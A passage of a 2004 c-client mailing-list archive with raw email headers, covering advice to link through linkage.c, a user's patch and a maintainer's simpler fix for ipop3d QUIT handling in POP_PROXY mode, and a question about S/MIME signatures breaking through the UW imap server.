__CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The linkage.c module is where I put critically necessary initialization steps for c-client. Not all of those steps are obvious. If you link manually instead of using linkage.c, some things now (and in the future) will fail in unpredictable ways. I have already had incidents where I wasted a lot of time debugging someone's problem, only to discover that a critical linkage wasn't done because he lunk manually in his application instead of using linkage.c. If you want to remove some drivers, do so in the DRIVERS setting in the Makefile. DO NOT LINK MANUALLY!! On Thu, 16 Sep 2004, Niklas Fondberg wrote: > Why? I don't want everything plus I need a small memory footprint... > Mark Crispin wrote: >> Please do not link things manually. Please use linkage.c instead. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Sep 16 09:39:51 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Sep 2004 09:39:51 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGdpC3010984 for ; Thu, 16 Sep 2004 09:39:51 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGdouw009879 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 16 Sep 2004 09:39:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8GGckV5016796; Thu, 16 Sep 2004 09:38:46 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGb5o5122876 for ; Thu, 16 Sep 2004 09:37:05 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8GGb4CN006133 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 16 Sep 2004 09:37:05 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGb4Tc029487; Thu, 16 Sep 2004 09:37:04 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGb4Ga021047; Thu, 16 Sep 2004 09:37:04 -0700 Message-Id: Date: Thu, 16 Sep 2004 09:37:04 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Niklas Fondberg Cc: c-client@u.washington.edu Subject: Re: Build question In-Reply-To: <41494358.5020508@i3micro.com> References: <4148019D.5070306@i3micro.com> <41494358.5020508@i3micro.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 16 Sep 2004, Niklas Fondberg wrote: >> SSL and RSH are completely independent of each other. If your embedded >> device does not have RSH installed, then the RSH code is ignored. > Is this a compile time or a runtime ignore? It's runtime. But I doubt that you'll save more than a trivial amount of memory. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Sep 16 09:40:21 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Sep 2004 09:40:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGeLgL011035 for ; Thu, 16 Sep 2004 09:40:21 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGeKRX007599 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 16 Sep 2004 09:40:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8GGdUHl009154; Thu, 16 Sep 2004 09:39:30 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8GGcaYm103458 for ; Thu, 16 Sep 2004 09:38:36 -0700 Received: from mxfep02.bredband.com (mxfep02.bredband.com [195.54.107.73]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8GGcJkV006128 for ; Thu, 16 Sep 2004 09:38:30 -0700 Received: from [192.168.1.167] ([213.115.49.47] [213.115.49.47]) by mxfep02.bredband.com with ESMTP id <20040916163814.YNUF26974.mxfep02.bredband.com@[192.168.1.167]>; Thu, 16 Sep 2004 18:38:14 +0200 Message-Id: <4149C16F.6070506@i3micro.com> Date: Thu, 16 Sep 2004 18:38:07 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Niklas Fondberg To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: smtp auth problem In-Reply-To: References: <414842D1.6020202@i3micro.com> <414878D5.8040909@i3micro.com> <41494178.1050209@i3micro.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Ok, thanks. I do that now. Mark Crispin wrote: > The linkage.c module is where I put critically necessary > initialization steps for c-client. Not all of those steps are > obvious. If you link manually instead of using linkage.c, some things > now (and in the future) will fail in unpredictable ways. > > I have already had incidents where I wasted a lot of time debugging > someone's problem, only to discover that a critical linkage wasn't > done because he lunk manually in his application instead of using > linkage.c. > > If you want to remove some drivers, do so in the DRIVERS setting in > the Makefile. DO NOT LINK MANUALLY!! > > On Thu, 16 Sep 2004, Niklas Fondberg wrote: > >> Why? I don't want everything plus I need a small memory footprint... >> Mark Crispin wrote: >> >>> Please do not link things manually. Please use linkage.c instead. >> > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Sep 16 19:14:15 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Sep 2004 19:14:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8H2EE7K000868 for ; Thu, 16 Sep 2004 19:14:14 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8H2EDKp000778 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 16 Sep 2004 19:14:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8H2Cs01007536; Thu, 16 Sep 2004 19:12:55 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8H2BXBo024356 for ; Thu, 16 Sep 2004 19:11:33 -0700 Received: from mx-s1.dreamwiz.com (mx-s1.dreamwiz.com [211.39.128.136]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8H2BV91014881 for ; Thu, 16 Sep 2004 19:11:32 -0700 Received: from pmail0.dreamwiz.com (pmail0.dreamwiz.com [10.0.0.65]) by mx-s1.dreamwiz.com (8.13.1/8.13.1) with ESMTP id i8H2BTBt004758 for ; Fri, 17 Sep 2004 11:11:30 +0900 (KST) Received: from [127.0.0.1] (localhost.dreamwiz.com [127.0.0.1]) by pmail0.dreamwiz.com (8.13.1/8.13.1) with ESMTP id i8H2BT2H088540 for ; Fri, 17 Sep 2004 11:11:29 +0900 (KST) Received: from [211.45.66.34] by pmail0.dreamwiz.com with HTTP; Fri, 17 Sep 2004 11:11:28 +0900 (KST) Message-Id: <20040917021128.000159DA0227025A@pmail0.dreamwiz.com> Date: Fri, 17 Sep 2004 11:11:28 +0900 (KST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?EUC-KR?B?w9a8usjG?= To: c-client@u.washington.edu Subject: Another ipop3d POP_PROXY mode problem MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-DreamWiz-SpamCenter: C=0,M=1,R=1,BR=0,TR=0,DNSBL=0,SPAM=0,FL=0,VC=PASS(2004-09-17) X-DreamWiz-Peer-IP: [10.0.0.65] X-Priority: 3 X-Originating-IP: [211.45.66.34] X-Originating-Email: shoon@dreamwiz.com X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report='CHARSET_FARAWAY_HEADERS 1.154, PRIORITY_NO_NAME 0.716, __C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In imap-2004b.DEV.SNAP-0409141527, another problem exist when QUIT. QUIT command -> mm_log( ..., BYE ) -> syslog( "Mailbox closed .." ) -> _exit(1) So, "QUIT" command does not reply and connection closed.(and many "Mailbox closed" syslog messages) Please, check the following patch. Thanks ========== ipop3d.c temporary patch ========== *** ipop3d.c.orig Fri Sep 17 10:53:24 2004 --- ipop3d.c Fri Sep 17 10:58:03 2004 *************** *** 74,79 **** --- 74,80 ---- long *msg = NIL; /* message translation vector */ logouthook_t lgoh = NIL; /* logout hook */ char *sayonara = "+OK Sayonara\015\012"; + int bye_check = T; /* Function prototypes */ *************** *** 445,450 **** --- 446,452 ---- mail_expunge (stream); syslog (LOG_INFO,"Logout user=%.80s host=%.80s nmsgs=%ld ndele=%ld", user,tcp_clienthost (),stream->nmsgs,ndele); + bye_check = NIL; mail_close (stream); } else syslog (LOG_INFO,"Logout user=%.80s host=%.80s",user ? user : "???", *************** *** 471,476 **** --- 473,479 ---- else { /* try to gracefully close the stream */ if ((state == TRANSACTION) && !stream->lock) { rset (); + bye_check = NIL; mail_close (stream); } state = LOGOUT; *************** *** 499,504 **** --- 502,508 ---- else { /* try to gracefully close the stream */ if ((state == TRANSACTION) && !stream->lock) { rset (); + bye_check = NIL; mail_close (stream); } state = LOGOUT; *************** *** 525,530 **** --- 529,535 ---- else { /* try to gracefully close the stream */ if ((state == TRANSACTION) && !stream->lock) { rset (); + bye_check = NIL; mail_close (stream); } state = LOGOUT; *************** *** 883,888 **** --- 888,894 ---- syslog (LOG_DEBUG,"%s",string); break; case BYE: /* driver broke connection */ + if (!bye_check) break; alarm (0); /* disable all interrupts */ server_init (NIL,NIL,NIL,SIG_IGN,SIG_IGN,SIG_IGN,SIG_IGN); syslog (LOG_INFO,"Mailbox closed (%.80s) user=%.80s host=%.80s", ------------------------------------------------ Choi, Sung-hoon DreamWiz Inc. - Development Team/Manager Major : Mail/Web/Network/System/Security Phone : +82-2-3434-3541 MSN : shoon@dreamwiz.com WWW : http://my.dreamwiz.com/shoon/ E-mail: shoon@dreamwiz.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Sep 16 19:28:32 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Sep 2004 19:28:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8H2SWGq001176 for ; Thu, 16 Sep 2004 19:28:32 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8H2SVVm018412 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 16 Sep 2004 19:28:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8H2RMwm012464; Thu, 16 Sep 2004 19:27:22 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8H2QNmv116772 for ; Thu, 16 Sep 2004 19:26:23 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8H2QMKS005861 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 16 Sep 2004 19:26:22 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8H2QMiF032655; Thu, 16 Sep 2004 19:26:22 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8H2QLYt004088 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 16 Sep 2004 19:26:21 -0700 Message-Id: Date: Thu, 16 Sep 2004 19:26:22 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: shoon@dreamwiz.com Cc: c-client@u.washington.edu Subject: Re: Another ipop3d POP_PROXY mode problem In-Reply-To: <20040917021128.000159DA0227025A@pmail0.dreamwiz.com> References: <20040917021128.000159DA0227025A@pmail0.dreamwiz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It should suffice to check in the BYE case for (state != UPDATE), and don't do the "Mailbox closed" action if (state == UPDATE). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Sep 16 20:07:44 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 16 Sep 2004 20:07:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8H37hse001915 for ; Thu, 16 Sep 2004 20:07:43 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8H37hKt020630 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 16 Sep 2004 20:07:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8H36i12002724; Thu, 16 Sep 2004 20:06:44 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8H35g27091970 for ; Thu, 16 Sep 2004 20:05:42 -0700 Received: from mx-s0.dreamwiz.com (mx-s0.dreamwiz.com [211.39.128.135]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8H35dlQ002215 for ; Thu, 16 Sep 2004 20:05:39 -0700 Received: from pmail0.dreamwiz.com (pmail0.dreamwiz.com [10.0.0.65]) by mx-s0.dreamwiz.com (8.13.1/8.13.1) with ESMTP id i8H35bEl015144 for ; Fri, 17 Sep 2004 12:05:38 +0900 (KST) Received: from [127.0.0.1] (localhost.dreamwiz.com [127.0.0.1]) by pmail0.dreamwiz.com (8.13.1/8.13.1) with ESMTP id i8H35bcY094877 for ; Fri, 17 Sep 2004 12:05:37 +0900 (KST) Received: from [211.45.66.34] by pmail0.dreamwiz.com with HTTP; Fri, 17 Sep 2004 12:05:36 +0900 (KST) Message-Id: <20040917030536.0001729B0227025A@pmail0.dreamwiz.com> Date: Fri, 17 Sep 2004 12:05:36 +0900 (KST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?EUC-KR?B?w9a8usjG?= To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re:Re: Another ipop3d POP_PROXY mode problem In-Reply-To: References: <20040917021128.000159DA0227025A@pmail0.dreamwiz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-DreamWiz-SpamCenter: C=0,M=1,R=1,BR=0,TR=0,DNSBL=0,SPAM=0,FL=0,VC=PASS(2004-09-17) X-DreamWiz-Peer-IP: [10.0.0.65] X-Priority: 3 X-Originating-IP: [211.45.66.34] X-Originating-Email: shoon@dreamwiz.com X-Uwash-Spam: Gauge=XIIIIIII, Probability=17%, Report='CHARSET_FARAWAY_HEADERS 1.154, PRIORITY_NO_NAME 0.716, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It works correctly. Thanks. ----- Original Message ----- From: "Mark Crispin" MRC@CAC.Washington.EDU To: shoon@dreamwiz.com Cc: c-client@u.washington.edu Date: Thu, 16 Sep 2004 19:26:22 -0700 (Pacific Daylight Time) Subject: Re: Another ipop3d POP_PROXY mode problem It should suffice to check in the BYE case for (state != UPDATE), and don't do the "Mailbox closed" action if (state == UPDATE). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. ------------------------------------------------ Choi, Sung-hoon DreamWiz Inc. - Development Team/Manager Major : Mail/Web/Network/System/Security Phone : +82-2-3434-3541 MSN : shoon@dreamwiz.com WWW : http://my.dreamwiz.com/shoon/ E-mail: shoon@dreamwiz.com From pinedev@shivax2.cac.washington.edu Tue Sep 21 10:21:20 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 21 Sep 2004 10:21:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHLKL5003740 for ; Tue, 21 Sep 2004 10:21:20 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHLJS0016756 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 21 Sep 2004 10:21:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8LHKIdc018390; Tue, 21 Sep 2004 10:20:18 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8LHH5sG033446 for ; Tue, 21 Sep 2004 10:17:05 -0700 Received: from dave.nrl.navy.mil (dave.nrl.navy.mil [132.250.120.99]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8LHH4sv007693 for ; Tue, 21 Sep 2004 10:17:05 -0700 Received: from [132.250.15.203] (aluminum.nrl.navy.mil [132.250.15.203]) by dave.nrl.navy.mil (Postfix) with ESMTP id 8E5F716E10 for ; Tue, 21 Sep 2004 13:17:04 -0400 (EDT) Message-Id: <4150620F.3040400@nrl.navy.mil> Date: Tue, 21 Sep 2004 13:17:03 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Noam Bernstein To: c-client@u.washington.edu Subject: imap server and S/MIME issues with attachments MIME-Version: 1.0 Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms010302040903020401080500" X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a cryptographically signed message in MIME format. --------------ms010302040903020401080500 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Hi - I'm having problems reading S/MIME signed e-mail with attachments when I get the mail through the UW imap daemon. The server is a SuSE 9.0 machine running imap-2002d-55. The client is a Mac OS 10.3 running Thunderbird 0.8. By default I get the ? signature because the MIME parts aren't downloaded. When I change the Thunderbird preferences (undocumented mail.server.default.mime_parts_on_demand and mail.imap.mime_parts_on_demand, set both to false) I can get it to download all the MIME parts automatically, but then I get the broken signature icon (message content doesn't match signature). When I do the same through a different IMAP server (don't know what kind - whatever speakeasy.net uses) it shows a valid signature. I.e. I suspect that the UW imap server must be modifying the message in the process of disentangling the MIME parts. Has anyone else seen this problem? Is there a known solution? thanks, Noam Bernstein --------------ms010302040903020401080500 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIM3DCC BBswggOEoAMCAQICARMwDQYJKoZIhvcNAQEFBQAwYTELMAkGA1UEBhMCVVMxGDAWBgNVBAoT D1UuUy4gR292ZXJubWVudDEMMAoGA1UECxMDRG9EMQwwCgYDVQQLEwNQS0kxHDAaBgNVBAMT E0RvRCBDTEFTUyAzIFJvb3QgQ0EwHhcNMDAwODExMTc0NTI5WhcNMDYwODEwMTc0NTI5WjBk MQswCQYDVQQGEwJVUzEYMBYGA1UEChMPVS5TLiBHb3Zlcm5tZW50MQwwCgYDVQQLEwNEb0Qx DDAKBgNVBAsTA1BLSTEfMB0GA1UEAxMWRE9EIENMQVNTIDMgRU1BSUwgQ0EtMzCBnzANBgkq hkiG9w0BAQEFAAOBjQAwgYkCgYEA73y9yGvr8S43hXDaHWi/OIgHM6aXzwsq2I1DEwU3TslX TgkVHaRm247GUJy82cvZ9e/2VEbi16LCoGV23fp6RVj/UsORbrEN5y8edLgG4mFA+eYx2e4c XjtPArs79vG968Aqkp5LX+zDXC7Iok30GLuN7MffqBj4J1P1XB8/hAkCAwEAAaOCAd4wggHa MB0GA1UdDgQWBBTsE1u8IYxmmwqLfwdfJbAU+RD1mzAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0T AQH/BAUwAwEB/zAMBgNVHSQEBTADgAEAMB8GA1UdIwQYMBaAFGycpfBcj21BjcQXO5BXwg+j zW3+MDAGA1UdIAQpMCcwCwYJYIZIAWUCAQsFMAsGCWCGSAFlAgELCTALBglghkgBZQIBCwow gYMGA1UdEgR8MHqGeGxkYXA6Ly9kcy0zLmMzcGtpLmNoYW1iLmRpc2EubWlsL2NuJTNkRG9E JTIwQ0xBU1MlMjAzJTIwUm9vdCUyMENBJTJjb3UlM2RQS0klMmNvdSUzZERvRCUyY28lM2RV LlMuJTIwR292ZXJubWVudCUyY2MlM2RVUzCBsAYDVR0fBIGoMIGlMIGioIGfoIGchoGZbGRh cDovL2RzLTMuYzNwa2kuY2hhbWIuZGlzYS5taWwvY24lM2REb0QlMjBDTEFTUyUyMDMlMjBS b290JTIwQ0ElMmNvdSUzZFBLSSUyY291JTNkRG9EJTJjbyUzZFUuUy4lMjBHb3Zlcm5tZW50 JTJjYyUzZFVTP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3Q7YmluYXJ5MA0GCSqGSIb3DQEB BQUAA4GBACaljTU4dmv+9EEmyDEZRft2IawIavNgzULR+GsmScfgvsubrU23VtJnj+hseOVD EFDIPH2i8hIECL/9NVR3VQpt2o1bsieyjZ6eYr1t4b14rkzRl8R2PdLRTGYkCBFdKBWycTvH M/e5nX+YnH76BLByl37808FUk2MUk9/xG8vgMIIENTCCA56gAwIBAgIDEzMYMA0GCSqGSIb3 DQEBBQUAMGQxCzAJBgNVBAYTAlVTMRgwFgYDVQQKEw9VLlMuIEdvdmVybm1lbnQxDDAKBgNV BAsTA0RvRDEMMAoGA1UECxMDUEtJMR8wHQYDVQQDExZET0QgQ0xBU1MgMyBFTUFJTCBDQS0z MB4XDTAzMDUxMzAwMDAwMFoXDTA2MDUxMjAwMDAwMFowdTELMAkGA1UEBhMCVVMxGDAWBgNV BAoTD1UuUy4gR292ZXJubWVudDEMMAoGA1UECxMDRG9EMQwwCgYDVQQLEwNQS0kxDDAKBgNV BAsTA1VTTjEiMCAGA1UEAxMZQkVSTlNURUlOLk5PQU0uMTI0MTk1ODI3OTCBnzANBgkqhkiG 9w0BAQEFAAOBjQAwgYkCgYEAx8fMD2Bck3rzHFHMUg1h+WeXREfMN2Nw6isk8iiXUD8JyniT 5t/oQyrguAQzUqVYsP6oQU/DJtecipCon/kPsPEEyAFM3r/k2bKw+84V15Z5Y7gtzevmvqw2 iIP6TtXqwrnIjaqyYfe03msitfoV36cesyLigownYRUkEtL+Mh8CAwEAAaOCAeIwggHeMA4G A1UdDwEB/wQEAwIFIDAmBgNVHREEHzAdgRtub2FtLmJlcm5zdGVpbkBucmwubmF2eS5taWww HwYDVR0jBBgwFoAU7BNbvCGMZpsKi38HXyWwFPkQ9ZswHQYDVR0OBBYEFCI3WakI5Vdyw7bM a2gs4b+a+yc4MBYGA1UdIAQPMA0wCwYJYIZIAWUCAQsJMIGPBgNVHRIEgYcwgYSGgYFsZGFw Oi8vZW1haWwtZHMtMy5jM3BraS5jaGFtYi5kaXNhLm1pbC9jbiUzZERPRCUyMENMQVNTJTIw MyUyMEVNQUlMJTIwQ0EtMyUyY291JTNkUEtJJTJjb3UlM2REb0QlMmNvJTNkVS5TLiUyMEdv dmVybm1lbnQlMmNjJTNkVVMwgbkGA1UdHwSBsTCBrjCBq6CBqKCBpYaBomxkYXA6Ly9lbWFp bC1kcy0zLmMzcGtpLmNoYW1iLmRpc2EubWlsL2NuJTNkRE9EJTIwQ0xBU1MlMjAzJTIwRU1B SUwlMjBDQS0zJTJjb3UlM2RQS0klMmNvdSUzZERvRCUyY28lM2RVLlMuJTIwR292ZXJubWVu dCUyY2MlM2RVUz9jZXJ0aWZpY2F0ZXJldm9jYXRpb25saXN0O2JpbmFyeTANBgkqhkiG9w0B AQUFAAOBgQAhIRFbeghlGQgr1qWF0JCTpYMdfCYuX14M2XH0hRjlnxpiTZfveQmIi3yXNWX6 vFjMx8UShtfXED898S1NR53Mhcz0Nxgs23cZWt5evcsNlF8uGlTyi+fTCl83RXc7gPAe24Q6 Ytpcw0cRJ9V/v/sUodPNK9cB1qecLI/cRW5wHDCCBIAwggPpoAMCAQICAxMzFDANBgkqhkiG 9w0BAQUFADBkMQswCQYDVQQGEwJVUzEYMBYGA1UEChMPVS5TLiBHb3Zlcm5tZW50MQwwCgYD VQQLEwNEb0QxDDAKBgNVBAsTA1BLSTEfMB0GA1UEAxMWRE9EIENMQVNTIDMgRU1BSUwgQ0Et MzAeFw0wMzA1MTMwMDAwMDBaFw0wNjA1MTIwMDAwMDBaMHUxCzAJBgNVBAYTAlVTMRgwFgYD VQQKEw9VLlMuIEdvdmVybm1lbnQxDDAKBgNVBAsTA0RvRDEMMAoGA1UECxMDUEtJMQwwCgYD VQQLEwNVU04xIjAgBgNVBAMTGUJFUk5TVEVJTi5OT0FNLjEyNDE5NTgyNzkwgZ8wDQYJKoZI 